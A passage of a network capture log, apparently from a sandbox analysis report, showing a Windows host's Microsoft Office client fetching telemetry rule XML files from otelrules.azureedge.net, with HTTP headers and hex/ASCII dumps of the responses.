43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:21 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:21 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061521Z-17c5cb586f6fqqst87nqkbsx1c00000007h000000000d9a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:21 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:21 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:21 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061521Z-16849878b78j7llf5vkyvvcehs0000000a3g00000000k5me x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:21 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:21 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:21 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:21 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: feb3c488-c01e-0014-4c77-2aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061521Z-15b8d89586ffsjj9qb0gmb1stn0000000d9000000000a24h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:21 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:22 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:22 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4fde2afa-301e-0099-279b-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061522Z-17c5cb586f6p5pndayxh2uxv5400000000s00000000092be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:22 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:22 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:22 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061522Z-16849878b78wv88bk51myq5vxc00000009d0000000009dmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:22 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:22 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:22 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 1c6b952c-401e-0048-780e-260409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061522Z-15b8d89586fzhrwgk23ex2bvhw0000000c2000000000c0fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:22 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:22 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:22 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061522Z-15b8d89586flzzksdx5d6q7g10000000046000000000c96k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:22 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:22 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:22 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: df60bdc9-601e-0001-126b-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061522Z-17c5cb586f62bgw58esgbu9hgw00000001xg000000001ygy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:23 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061523Z-16849878b78fhxrnedubv5byks00000007gg00000000562z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:23 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061523Z-16849878b786lft2mu9uftf3y40000000a8g00000000pegm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:23 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 548bc1da-901e-0067-71ad-29b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061523Z-17c5cb586f64sw5wh0dfzbdtvw000000016g00000000f5ym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:23 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
